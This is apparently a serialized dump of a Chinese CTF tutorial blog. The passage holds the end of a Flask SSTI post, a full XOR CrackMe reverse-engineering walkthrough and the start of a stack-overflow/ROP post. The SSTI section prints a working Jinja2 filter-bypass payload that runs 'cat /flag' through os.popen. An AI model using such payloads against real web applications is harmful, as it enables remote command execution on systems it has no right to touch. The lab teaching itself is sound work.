payload})\nprint(r.text)\n",[19,7284,7285,7289,7293,7297,7301,7305],{"__ignoreMap":44},[48,7286,7287],{"class":50,"line":51},[48,7288,6887],{},[48,7290,7291],{"class":50,"line":68},[48,7292,111],{"emptyLinePlaceholder":110},[48,7294,7295],{"class":50,"line":107},[48,7296,7110],{},[48,7298,7299],{"class":50,"line":114},[48,7300,7115],{},[48,7302,7303],{"class":50,"line":120},[48,7304,7120],{},[48,7306,7307],{"class":50,"line":126},[48,7308,7135],{},[15,7310,7311],{},"预期输出中出现：",[39,7313,7316],{"className":7314,"code":7315,"language":287,"meta":44},[285],"flag{ssti_rce}\n",[19,7317,7315],{"__ignoreMap":44},[462,7319,7321],{"id":7320},"第三步被过滤时","第三步：被过滤时",[15,7323,7324,7326,7327,7329],{},[27,7325,258],{},"：把点号换成 ",[19,7328,6994],{},"、把关键词拆到 URL 参数，一条条替换直到成功。",[15,7331,7332],{},"改用 attr 与 request.args 组合：",[39,7334,7337],{"className":7335,"code":7336,"language":287,"meta":44},[285],"/?name={{config|attr('__class__')|attr('__init__')|attr('__globals__')|attr('__getitem__')(request.args.g)|attr('popen')(request.args.c)|attr('read')()}}&g=os&c=cat /flag\n",[19,7338,7336],{"__ignoreMap":44},[10,7340,2226],{"id":2225},[15,7342,7343,7344,2982,7346,7349,7350,740,7352,7355],{},"SSTI 主线：探测 ",[19,7345,6514],{},[19,7347,7348],{},"config.__class__.__init__.__globals__['os']"," 执行命令 → 被过滤就换 ",[19,7351,6994],{},[19,7353,7354],{},"request.args","。理解了对象链，各种过滤只是换写法的问题。",[920,7357,7358],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":44,"searchDepth":68,"depth":68,"links":7360},[7361,7362,7363,7364,7365,7366,7367,7368],{"id":6327,"depth":107,"text":6328},{"id":6406,"depth":107,"text":6407},{"id":6496,"depth":107,"text":6497},{"id":6683,"depth":107,"text":6684},{"id":6973,"depth":107,"text":6974},{"id":1933,"depth":107,"text":1934},{"id":7220,"depth":107,"text":7221},{"id":2225,"depth":107,"text":2226},"服务端模板注入：搭建 Flask 漏洞环境、探测、命令执行链、过滤器绕过与 tplmap 自动化。",{"date":938,"image":7371,"alt":7372,"tags":7373,"published":110},"/blogs-img/blog6.png","SSTI 深入实战",[942,6314,7374,943],"ssti","/blogs/ctf-web-ssti-deep-dive",{"title":6322,"description":7369},"blogs/15. ctf-web-ssti-deep-dive","H68LG4VV4pU8n-1nfoEL6bndV0uPlrJH4gGMRV2-3rs",{"id":7380,"title":7381,"body":7382,"description":8322,"extension":936,"meta":8323,"navigation":110,"ogImage":8324,"path":8327,"seo":8328,"stem":8329,"__hash__":8330},"content/blogs/16. ctf-reverse-crackme-deep-dive.md","逆向一个 XOR CrackMe：从侦查到脚本还原",{"type":7,"value":7383,"toc":8311},[7384,7388,7391,7395,7401,7585,7588,7605,7608,7617,7622,7634,7638,7640,7645,7658,7662,7673,7676,7682,7687,7691,7702,7716,7718,7724,7733,7737,7742,7757,7759,7790,7792,7821,7828,7832,7864,7867,7892,7896,7899,7949,7954,7956,7964,7967,7973,7975,7987,8001,8003,8008,8017,8019,8024,8027,8042,8044,8050,8053,8057,8062,8079,8139,8141,8153,8155,8160,8163,8173,8177,8181,8264,8268,8299,8301,8308],[10,7385,7387],{"id":7386},"一现实背景注册码校验","一、现实背景：注册码校验",[15,7389,7390],{},"商业软件用\"输入正确序列号才放行\"的校验函数保护授权，逆向需要从二进制还原该校验逻辑。CrackMe 是这类校验的简化版，也是逆向入门最好的练习材料。",[10,7392,7394],{"id":7393},"二题目源码与编译","二、题目源码与编译",[15,7396,7397,7398,87],{},"出题人视角的 ",[19,7399,7400],{},"crackme.c",[39,7402,7404],{"className":90,"code":7403,"language":92,"meta":44,"style":44},"#include \u003Cstdio.h>\n#include \u003Cstring.h>\n\nint check(const char *input) {\n    char key[] = \"k3y\";\n    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n    unsigned char enc[] = {\n        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n    };\n    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n    int n = strlen(input);\n    // strlen：求输入长度（不含结尾 \\0）。\n    if (n != 24) return 0;\n    // 长度必须是 24，先卡掉大部分错误输入。\n    for (int i = 0; i \u003C n; i++)\n        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n    return 1;\n    // 全部通过才返回 1，main 据此打印 Correct!。\n}\n\nint main(int argc, char **argv) {\n    if (argc != 2) {\n        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n        puts(\"Usage: ./crackme \u003Cflag>\");\n        return 1;\n    }\n    if (check(argv[1]))\n        // argv[1]：命令行第二个参数，即用户输入的 flag。\n        puts(\"Correct!\");\n    else\n        puts(\"Wrong!\");\n    return 0;\n}\n",[19,7405,7406,7410,7415,7419,7424,7429,7434,7439,7444,7449,7454,7459,7464,7469,7474,7479,7484,7489,7494,7499,7504,7509,7514,7518,7522,7527,7532,7537,7542,7547,7552,7557,7562,7567,7572,7577,7581],{"__ignoreMap":44},[48,7407,7408],{"class":50,"line":51},[48,7409,99],{},[48,7411,7412],{"class":50,"line":68},[48,7413,7414],{},"#include \u003Cstring.h>\n",[48,7416,7417],{"class":50,"line":107},[48,7418,111],{"emptyLinePlaceholder":110},[48,7420,7421],{"class":50,"line":114},[48,7422,7423],{},"int check(const char *input) {\n",[48,7425,7426],{"class":50,"line":120},[48,7427,7428],{},"    char key[] = \"k3y\";\n",[48,7430,7431],{"class":50,"line":126},[48,7432,7433],{},"    // key：异或密钥，编译后仍以字符串形式存在二进制里，strings 可见。\n",[48,7435,7436],{"class":50,"line":132},[48,7437,7438],{},"    unsigned char enc[] = {\n",[48,7440,7441],{"class":50,"line":137},[48,7442,7443],{},"        0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n",[48,7445,7446],{"class":50,"line":143},[48,7447,7448],{},"        0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n",[48,7450,7451],{"class":50,"line":149},[48,7452,7453],{},"        0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04\n",[48,7455,7456],{"class":50,"line":155},[48,7457,7458],{},"    };\n",[48,7460,7461],{"class":50,"line":160},[48,7462,7463],{},"    // enc：把正确 flag 逐字节异或后的密文，硬编码在程序里。\n",[48,7465,7466],{"class":50,"line":165},[48,7467,7468],{},"    int n = strlen(input);\n",[48,7470,7471],{"class":50,"line":171},[48,7472,7473],{},"    // strlen：求输入长度（不含结尾 \\0）。\n",[48,7475,7476],{"class":50,"line":177},[48,7477,7478],{},"    if (n != 24) return 0;\n",[48,7480,7481],{"class":50,"line":183},[48,7482,7483],{},"    // 长度必须是 24，先卡掉大部分错误输入。\n",[48,7485,7486],{"class":50,"line":189},[48,7487,7488],{},"    for (int i = 0; i \u003C n; i++)\n",[48,7490,7491],{"class":50,"line":195},[48,7492,7493],{},"        if ((input[i] ^ key[i % 3]) != enc[i]) return 0;\n",[48,7495,7496],{"class":50,"line":201},[48,7497,7498],{},"        // 逐字节校验：输入第 i 位与 key 循环异或后必须等于密文第 i 位。\n",[48,7500,7501],{"class":50,"line":3660},[48,7502,7503],{},"        // key[i % 3]：i%3 在 0,1,2 之间循环，即 key 循环使用。\n",[48,7505,7506],{"class":50,"line":3666},[48,7507,7508],{},"    return 1;\n",[48,7510,7511],{"class":50,"line":3672},[48,7512,7513],{},"    // 全部通过才返回 1，main 据此打印 Correct!。\n",[48,7515,7516],{"class":50,"line":3678},[48,7517,129],{},[48,7519,7520],{"class":50,"line":3684},[48,7521,111],{"emptyLinePlaceholder":110},[48,7523,7524],{"class":50,"line":4449},[48,7525,7526],{},"int main(int argc, char **argv) {\n",[48,7528,7529],{"class":50,"line":4454},[48,7530,7531],{},"    if (argc != 2) {\n",[48,7533,7534],{"class":50,"line":4460},[48,7535,7536],{},"        // argc：命令行参数个数；不带参数时 argc=1，这里要求恰好 2 个。\n",[48,7538,7539],{"class":50,"line":4466},[48,7540,7541],{},"        puts(\"Usage: ./crackme \u003Cflag>\");\n",[48,7543,7544],{"class":50,"line":4471},[48,7545,7546],{},"        return 1;\n",[48,7548,7549],{"class":50,"line":4477},[48,7550,7551],{},"    }\n",[48,7553,7554],{"class":50,"line":4483},[48,7555,7556],{},"    if (check(argv[1]))\n",[48,7558,7559],{"class":50,"line":4489},[48,7560,7561],{},"        // argv[1]：命令行第二个参数，即用户输入的 flag。\n",[48,7563,7564],{"class":50,"line":4495},[48,7565,7566],{},"        puts(\"Correct!\");\n",[48,7568,7569],{"class":50,"line":4500},[48,7570,7571],{},"    else\n",[48,7573,7574],{"class":50,"line":4506},[48,7575,7576],{},"        puts(\"Wrong!\");\n",[48,7578,7579],{"class":50,"line":4512},[48,7580,198],{},[48,7582,7583],{"class":50,"line":4518},[48,7584,129],{},[15,7586,7587],{},"编译（解题时只有二进制，没有源码）：",[39,7589,7591],{"className":41,"code":7590,"language":43,"meta":44,"style":44},"gcc -o crackme crackme.c\n",[19,7592,7593],{"__ignoreMap":44},[48,7594,7595,7597,7599,7602],{"class":50,"line":51},[48,7596,216],{"class":54},[48,7598,220],{"class":219},[48,7600,7601],{"class":58}," crackme",[48,7603,7604],{"class":58}," crackme.c\n",[15,7606,7607],{},"运行确认行为：",[39,7609,7611],{"className":41,"code":7610,"language":43,"meta":44,"style":44},"./crackme\n",[19,7612,7613],{"__ignoreMap":44},[48,7614,7615],{"class":50,"line":51},[48,7616,7610],{"class":54},[15,7618,1212,7619,30],{},[19,7620,7621],{},"Usage: ./crackme \u003Cflag>",[39,7623,7625],{"className":41,"code":7624,"language":43,"meta":44,"style":44},"./crackme wrongflag123456789012\n",[19,7626,7627],{"__ignoreMap":44},[48,7628,7629,7631],{"class":50,"line":51},[48,7630,2215],{"class":54},[48,7632,7633],{"class":58}," wrongflag123456789012\n",[15,7635,1212,7636,30],{},[19,7637,1184],{},[10,7639,1056],{"id":1055},[15,7641,7642,7644],{},[27,7643,252],{},"：先确认程序类型、收集可见字符串，缩小分析范围。",[15,7646,7647,87,7649,7651,7652,7654,7655,7657],{},[27,7648,258],{},[19,7650,1125],{}," 能看到 ",[19,7653,1188],{}," 这样的短密钥（需要 ",[19,7656,1192],{},"），但看不到二进制密文数组。若直接看到 flag 明文就是送分题；看不到就继续反汇编。",[462,7659,7661],{"id":7660},"_31-file","3.1 file",[39,7663,7665],{"className":41,"code":7664,"language":43,"meta":44,"style":44},"file crackme\n",[19,7666,7667],{"__ignoreMap":44},[48,7668,7669,7671],{"class":50,"line":51},[48,7670,1082],{"class":54},[48,7672,2071],{"class":58},[15,7674,7675],{},"预期输出（Linux ELF）：",[39,7677,7680],{"className":7678,"code":7679,"language":287,"meta":44},[285],"crackme: ELF 64-bit LSB pie executable, x86-64, dynamically linked, ... not stripped\n",[19,7681,7679],{"__ignoreMap":44},[15,7683,7684,7686],{},[19,7685,1099],{},"：函数名可见。",[462,7688,7690],{"id":7689},"_32-strings","3.2 strings",[15,7692,7693,7694,7696,7697,7699,7700,87],{},"注意：",[19,7695,1125],{}," 默认只显示长度 ≥ 4 的字符串，密钥 ",[19,7698,1188],{}," 只有 3 个字符，必须加 ",[19,7701,1192],{},[39,7703,7704],{"className":41,"code":2058,"language":43,"meta":44,"style":44},[19,7705,7706],{"__ignoreMap":44},[48,7707,7708,7710,7712,7714],{"class":50,"line":51},[48,7709,1125],{"class":54},[48,7711,1157],{"class":219},[48,7713,1160],{"class":219},[48,7715,2071],{"class":58},[15,7717,281],{},[39,7719,7722],{"className":7720,"code":7721,"language":287,"meta":44},[285],"Usage: ./crackme \u003Cflag>\nCorrect!\nWrong!\nk3y\n",[19,7723,7721],{"__ignoreMap":44},[15,7725,7726,7728,7729,7732],{},[19,7727,1188],{}," 极可能是密钥。",[19,7730,7731],{},"enc"," 数组是二进制数据，strings 显示不出来。",[10,7734,7736],{"id":7735},"四核心步骤-2定位校验函数","四、核心步骤 2：定位校验函数",[15,7738,7739,7741],{},[27,7740,252],{},"：找到\"比较\"发生的代码，确认密钥如何参与运算。",[15,7743,7744,7746,7747,7749,7750,7753,7754,7756],{},[27,7745,258],{},"：main 里 ",[19,7748,1425],{}," 后紧跟 ",[19,7751,7752],{},"test eax, eax; je","，说明返回值决定对错。于是把目光集中到 check；Ghidra 伪代码把汇编还原成 ",[19,7755,2094],{},"，逆向思路立刻清晰。",[462,7758,1266],{"id":1265},[39,7760,7762],{"className":41,"code":7761,"language":43,"meta":44,"style":44},"objdump -d -M intel crackme | grep -A 40 '\u003Cmain>'\n",[19,7763,7764],{"__ignoreMap":44},[48,7765,7766,7768,7770,7772,7774,7776,7778,7780,7782,7784,7786,7788],{"class":50,"line":51},[48,7767,1278],{"class":54},[48,7769,1281],{"class":219},[48,7771,1284],{"class":219},[48,7773,1287],{"class":58},[48,7775,7601],{"class":58},[48,7777,1313],{"class":987},[48,7779,1316],{"class":54},[48,7781,1319],{"class":219},[48,7783,1322],{"class":219},[48,7785,1326],{"class":1325},[48,7787,1329],{"class":58},[48,7789,1332],{"class":1325},[15,7791,1335],{},[39,7793,7795],{"className":1338,"code":7794,"language":1340,"meta":44,"style":44},"0000000000001189 \u003Cmain>:\n    1191:  cmp    edi, 0x2\n    1194:  jne    0x11a0\n    119e:  call   0x1149 \u003Ccheck>\n    11a3:  test   eax, eax\n    11a5:  je     0x11b5\n",[19,7796,7797,7801,7805,7809,7813,7817],{"__ignoreMap":44},[48,7798,7799],{"class":50,"line":51},[48,7800,1347],{},[48,7802,7803],{"class":50,"line":68},[48,7804,1362],{},[48,7806,7807],{"class":50,"line":107},[48,7808,1367],{},[48,7810,7811],{"class":50,"line":114},[48,7812,1372],{},[48,7814,7815],{"class":50,"line":120},[48,7816,1377],{},[48,7818,7819],{"class":50,"line":126},[48,7820,1382],{},[15,7822,7823,7825,7826,30],{},[19,7824,1425],{}," 说明判断逻辑在 ",[19,7827,1454],{},[462,7829,7831],{"id":7830},"_42-objdump-看-check","4.2 objdump 看 check",[39,7833,7835],{"className":41,"code":7834,"language":43,"meta":44,"style":44},"objdump -d -M intel crackme | grep -A 60 '\u003Ccheck>'\n",[19,7836,7837],{"__ignoreMap":44},[48,7838,7839,7841,7843,7845,7847,7849,7851,7853,7855,7858,7860,7862],{"class":50,"line":51},[48,7840,1278],{"class":54},[48,7842,1281],{"class":219},[48,7844,1284],{"class":219},[48,7846,1287],{"class":58},[48,7848,7601],{"class":58},[48,7850,1313],{"class":987},[48,7852,1316],{"class":54},[48,7854,1319],{"class":219},[48,7856,7857],{"class":219}," 60",[48,7859,1326],{"class":1325},[48,7861,1510],{"class":58},[48,7863,1332],{"class":1325},[15,7865,7866],{},"预期会看到循环比较：",[39,7868,7870],{"className":1338,"code":7869,"language":1340,"meta":44,"style":44},"movzx  eax, BYTE PTR [rax]        ; input[i]\nxor    eax, 0x...                 ; 与 key 异或\ncmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\nje     0x...\n",[19,7871,7872,7877,7882,7887],{"__ignoreMap":44},[48,7873,7874],{"class":50,"line":51},[48,7875,7876],{},"movzx  eax, BYTE PTR [rax]        ; input[i]\n",[48,7878,7879],{"class":50,"line":68},[48,7880,7881],{},"xor    eax, 0x...                 ; 与 key 异或\n",[48,7883,7884],{"class":50,"line":107},[48,7885,7886],{},"cmp    al, BYTE PTR [rbp-...]     ; 与 enc[i] 比较\n",[48,7888,7889],{"class":50,"line":114},[48,7890,7891],{},"je     0x...\n",[462,7893,7895],{"id":7894},"_43-ghidra-反编译","4.3 Ghidra 反编译",[15,7897,7898],{},"安装并打开：",[39,7900,7902],{"className":41,"code":7901,"language":43,"meta":44,"style":44},"apt install openjdk-21-jdk unzip\nwget https://github.com/NationalSecurityAgency/ghidra/releases/latest/download/ghidra_*.zip\nunzip ghidra_*.zip && cd ghidra_*_PUBLIC && ./ghidraRun\n",[19,7903,7904,7914,7924],{"__ignoreMap":44},[48,7905,7906,7908,7910,7912],{"class":50,"line":51},[48,7907,55],{"class":54},[48,7909,59],{"class":58},[48,7911,1633],{"class":58},[48,7913,1636],{"class":58},[48,7915,7916,7918,7920,7922],{"class":50,"line":68},[48,7917,1641],{"class":54},[48,7919,1644],{"class":58},[48,7921,1648],{"class":1647},[48,7923,1651],{"class":58},[48,7925,7926,7928,7930,7932,7935,7937,7939,7941,7943,7945,7947],{"class":50,"line":107},[48,7927,1656],{"class":54},[48,7929,1659],{"class":58},[48,7931,1648],{"class":1647},[48,7933,7934],{"class":58},".zip",[48,7936,1679],{"class":994},[48,7938,1669],{"class":1668},[48,7940,1659],{"class":58},[48,7942,1648],{"class":1647},[48,7944,1676],{"class":58},[48,7946,1679],{"class":994},[48,7948,1682],{"class":54},[15,7950,7951,7952,30],{},"操作：新建项目 → 导入 crackme → 自动分析 → 双击 ",[19,7953,1454],{},[15,7955,1711],{},[39,7957,7958],{"className":90,"code":2104,"language":92,"meta":44,"style":44},[19,7959,7960],{"__ignoreMap":44},[48,7961,7962],{"class":50,"line":51},[48,7963,2104],{},[15,7965,7966],{},"得到逆运算关系：",[39,7968,7971],{"className":7969,"code":7970,"language":287,"meta":44},[285],"enc[i] = input[i] ^ key[i % 3]\ninput[i] = enc[i] ^ key[i % 3]\n",[19,7972,7970],{"__ignoreMap":44},[10,7974,1743],{"id":1742},[39,7976,7978],{"className":41,"code":7977,"language":43,"meta":44,"style":44},"gdb ./crackme\n",[19,7979,7980],{"__ignoreMap":44},[48,7981,7982,7984],{"class":50,"line":51},[48,7983,1770],{"class":54},[48,7985,7986],{"class":58}," ./crackme\n",[39,7988,7990],{"className":1782,"code":7989,"language":1770,"meta":44,"style":44},"(gdb) break check\n# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[19,7991,7992,7996],{"__ignoreMap":44},[48,7993,7994],{"class":50,"line":51},[48,7995,1783],{},[48,7997,7998],{"class":50,"line":68},[48,7999,8000],{},"# 目的：在 check 入口暂停，观察输入参数和密文数据。\n",[15,8002,281],{},[39,8004,8006],{"className":8005,"code":1795,"language":287,"meta":44},[285],[19,8007,1795],{"__ignoreMap":44},[39,8009,8011],{"className":1782,"code":8010,"language":1770,"meta":44,"style":44},"(gdb) run AAAAAAAAAAAAAAAAAAAAAAAA\n",[19,8012,8013],{"__ignoreMap":44},[48,8014,8015],{"class":50,"line":51},[48,8016,8010],{},[15,8018,281],{},[39,8020,8022],{"className":8021,"code":1816,"language":287,"meta":44},[285],[19,8023,1816],{"__ignoreMap":44},[15,8025,8026],{},"查看 enc 数组（地址在反汇编中确定）：",[39,8028,8030],{"className":1782,"code":8029,"language":1770,"meta":44,"style":44},"(gdb) x/24bx 0x5555555551e0\n# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[19,8031,8032,8037],{"__ignoreMap":44},[48,8033,8034],{"class":50,"line":51},[48,8035,8036],{},"(gdb) x/24bx 0x5555555551e0\n",[48,8038,8039],{"class":50,"line":68},[48,8040,8041],{},"# x：查看内存；/24bx：24 个字节、b 按字节、x 十六进制显示。\n",[15,8043,281],{},[39,8045,8048],{"className":8046,"code":8047,"language":287,"meta":44},[285],"0x...: 0x08 0x47 0x1f 0x10 0x41 0x1c 0x1d 0x56 ...\n",[19,8049,8047],{"__ignoreMap":44},[15,8051,8052],{},"与源码中的 enc 数组一致，确认比较逻辑。",[10,8054,8056],{"id":8055},"六核心步骤-4写脚本还原","六、核心步骤 4：写脚本还原",[15,8058,8059,8061],{},[27,8060,252],{},"：把\"加密\"反过来算：密文与 key 再异或一次即明文。",[15,8063,8064,8066,8067,8070,8071,8074,8075,8078],{},[27,8065,258],{},"：因为 ",[19,8068,8069],{},"enc[i] = input[i] ^ key[i%3]","，两边同时异或 ",[19,8072,8073],{},"key[i%3]"," 得 ",[19,8076,8077],{},"input[i] = enc[i] ^ key[i%3]","。异或的自反性是本题全部关键。",[39,8080,8082],{"className":383,"code":8081,"language":385,"meta":44,"style":44},"enc = [0x08,0x47,0x1f,0x10,0x41,0x1c,0x1d,0x56,\n       0x0b,0x18,0x56,0x26,0x0e,0x5d,0x1e,0x02,\n       0x5d,0x1c,0x0e,0x41,0x10,0x05,0x54,0x04]\nkey = b\"k3y\"   # 从 strings -n 3 找到的密钥\n\nflag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n# c ^ key[...]：密文异或密钥 = 明文。\n# bytes([...])：把整数列表转成字节串。\nprint(flag.decode())\n# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[19,8083,8084,8088,8092,8096,8101,8105,8110,8115,8120,8125,8130,8134],{"__ignoreMap":44},[48,8085,8086],{"class":50,"line":51},[48,8087,2138],{},[48,8089,8090],{"class":50,"line":68},[48,8091,2143],{},[48,8093,8094],{"class":50,"line":107},[48,8095,2148],{},[48,8097,8098],{"class":50,"line":114},[48,8099,8100],{},"key = b\"k3y\"   # 从 strings -n 3 找到的密钥\n",[48,8102,8103],{"class":50,"line":120},[48,8104,111],{"emptyLinePlaceholder":110},[48,8106,8107],{"class":50,"line":126},[48,8108,8109],{},"flag = bytes([c ^ key[i % len(key)] for i, c in enumerate(enc)])\n",[48,8111,8112],{"class":50,"line":132},[48,8113,8114],{},"# enumerate(enc)：逐个取出 (下标 i, 密文字节 c)。\n",[48,8116,8117],{"class":50,"line":137},[48,8118,8119],{},"# key[i % len(key)]：i 对 3 取余，让密钥循环（与 C 的 i%3 一致）。\n",[48,8121,8122],{"class":50,"line":143},[48,8123,8124],{},"# c ^ key[...]：密文异或密钥 = 明文。\n",[48,8126,8127],{"class":50,"line":149},[48,8128,8129],{},"# bytes([...])：把整数列表转成字节串。\n",[48,8131,8132],{"class":50,"line":155},[48,8133,2188],{},[48,8135,8136],{"class":50,"line":160},[48,8137,8138],{},"# decode()：bytes 按 UTF-8 解码成字符串显示。\n",[15,8140,6139],{},[39,8142,8144],{"className":41,"code":8143,"language":43,"meta":44,"style":44},"python3 solve.py\n",[19,8145,8146],{"__ignoreMap":44},[48,8147,8148,8150],{"class":50,"line":51},[48,8149,812],{"class":54},[48,8151,8152],{"class":58}," solve.py\n",[15,8154,3111],{},[39,8156,8158],{"className":8157,"code":2199,"language":287,"meta":44},[285],[19,8159,2199],{"__ignoreMap":44},[15,8161,8162],{},"验证：",[39,8164,8165],{"className":41,"code":2208,"language":43,"meta":44,"style":44},[19,8166,8167],{"__ignoreMap":44},[48,8168,8169,8171],{"class":50,"line":51},[48,8170,2215],{"class":54},[48,8172,2218],{"class":58},[15,8174,3111,8175,30],{},[19,8176,1181],{},[10,8178,8180],{"id":8179},"七必学工具","七、必学工具",[294,8182,8183,8193],{},[297,8184,8185],{},[300,8186,8187,8189,8191],{},[303,8188,718],{},[303,8190,1945],{},[303,8192,4743],{},[313,8194,8195,8207,8219,8234,8251],{},[300,8196,8197,8199,8202],{},[318,8198,1082],{},[318,8200,8201],{},"看类型/是否 stripped",[318,8203,8204],{},[19,8205,8206],{},"file crackme",[300,8208,8209,8211,8214],{},[318,8210,1125],{},[318,8212,8213],{},"提取字符串、指定最小长度",[318,8215,8216],{},[19,8217,8218],{},"strings -n 3 crackme",[300,8220,8221,8223,8226],{},[318,8222,1278],{},[318,8224,8225],{},"反汇编、看数据段",[318,8227,8228,530,8231],{},[19,8229,8230],{},"objdump -d -M intel crackme",[19,8232,8233],{},"objdump -s -j .rodata crackme",[300,8235,8236,8238,8241],{},[318,8237,2000],{},[318,8239,8240],{},"断点、运行、查看内存",[318,8242,8243,530,8245,530,8248],{},[19,8244,2008],{},[19,8246,8247],{},"run xxx",[19,8249,8250],{},"x/24bx addr",[300,8252,8253,8256,8259],{},[318,8254,8255],{},"Ghidra",[318,8257,8258],{},"反编译伪代码",[318,8260,8261],{},[19,8262,8263],{},"ghidraRun",[10,8265,8267],{"id":8266},"八小-ctf-实战流程复述","八、小 CTF 实战：流程复述",[1687,8269,8270,8277,8288,8294],{},[1690,8271,8272,8274,8275,30],{},[19,8273,8218],{}," → 找到密钥 ",[19,8276,1188],{},[1690,8278,8279,8281,8282,8284,8285,30],{},[19,8280,1278],{},"/Ghidra → 确认 ",[19,8283,1454],{}," 里是 ",[19,8286,8287],{},"input[i] ^ key[i%3] == enc[i]",[1690,8289,8290,8291,30],{},"Python 一行异或还原 → ",[19,8292,8293],{},"ctf{reverse_engineering}",[1690,8295,8296,8297,30],{},"运行验证 → ",[19,8298,1181],{},[10,8300,6287],{"id":6286},[15,8302,8303,8304,8307],{},"XOR CrackMe 的通用解法：",[27,8305,8306],{},"找密钥、找密文、再异或一次","。逆向题的套路基本都是\"侦查 → 定位校验 → 逆运算\"三步；后续遇到的壳、混淆只是在中间增加干扰。",[920,8309,8310],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}html pre.shiki code .seVfx, html code.shiki .seVfx{--shiki-default:#E9F284}html pre.shiki code .sqerP, html code.shiki .sqerP{--shiki-default:#BD93F9;--shiki-default-font-style:italic}html pre.shiki code .sCdxs, html code.shiki .sCdxs{--shiki-default:#F8F8F2}html pre.shiki code .sLL85, html code.shiki .sLL85{--shiki-default:#8BE9FD}",{"title":44,"searchDepth":68,"depth":68,"links":8312},[8313,8314,8315,8316,8317,8318,8319,8320,8321],{"id":7386,"depth":107,"text":7387},{"id":7393,"depth":107,"text":7394},{"id":1055,"depth":107,"text":1056},{"id":7735,"depth":107,"text":7736},{"id":1742,"depth":107,"text":1743},{"id":8055,"depth":107,"text":8056},{"id":8179,"depth":107,"text":8180},{"id":8266,"depth":107,"text":8267},{"id":6286,"depth":107,"text":6287},"完整的 CrackMe 逆向：编译源码、file/strings 侦查、objdump/Ghidra 定位校验、GDB 动态调试、Python 逆运算还原 flag。",{"date":938,"image":8324,"alt":8325,"tags":8326,"published":110},"/blogs-img/blog7.png","XOR CrackMe 完整实操",[942,2256,2032,943],"/blogs/ctf-reverse-crackme-deep-dive",{"title":7381,"description":8322},"blogs/16. ctf-reverse-crackme-deep-dive","xZZ1X760wPJNGRPAuGfcnpCTK_DSMHcI_gsMU8yxErg",{"id":8332,"title":8333,"body":8334,"description":9419,"extension":936,"meta":9420,"navigation":110,"ogImage":9421,"path":9425,"seo":9426,"stem":9427,"__hash__":9428},"content/blogs/17. ctf-pwn-stack-overflow-rop-deep-dive.md","栈溢出与 ROP 深入实战：偏移、ret2win 与 ret2libc",{"type":7,"value":8335,"toc":9406},[8336,8340,8355,8358,8360,8408,8410,8414,8494,8497,8516,8520,8525,8530,8542,8544,8549,8552,8607,8609,8614,8620,8623,8626,8636,8690,8692,8698,8712,8716,8721,8782,8784,8794,8796,8802,8820,8824,8830,8833,8860,8862,8868,8881,8887,8891,8898,8903,8912,8916,8922,8926,9202,9205,9211,9215,9262,9266,9327,9331,9342,9383,9385,9390,9394,9403],[10,8337,8339],{"id":8338},"一现实背景缓冲区溢出","一、现实背景：缓冲区溢出",[15,8341,8342,530,8344,530,8347,8350,8351,8354],{},[19,8343,21],{},[19,8345,8346],{},"strcpy",[19,8348,8349],{},"sprintf"," 不校验写入长度。输入超过缓冲区容量时，数据覆盖相邻内存，包括函数的返回地址。程序 ",[19,8352,8353],{},"ret"," 时跳到被覆盖的地址执行——这就是栈溢出的核心。",[15,8356,8357],{},"本文环境：Linux（Kali/Ubuntu），x86-64 架构，这是 CTF Pwn 的标准环境。",[10,8359,34],{"id":33},[39,8361,8363],{"className":41,"code":8362,"language":43,"meta":44,"style":44},"apt install gcc gdb\npip3 install pwntools ROPgadget\ngit clone https://github.com/pwndbg/pwndbg && cd pwndbg && 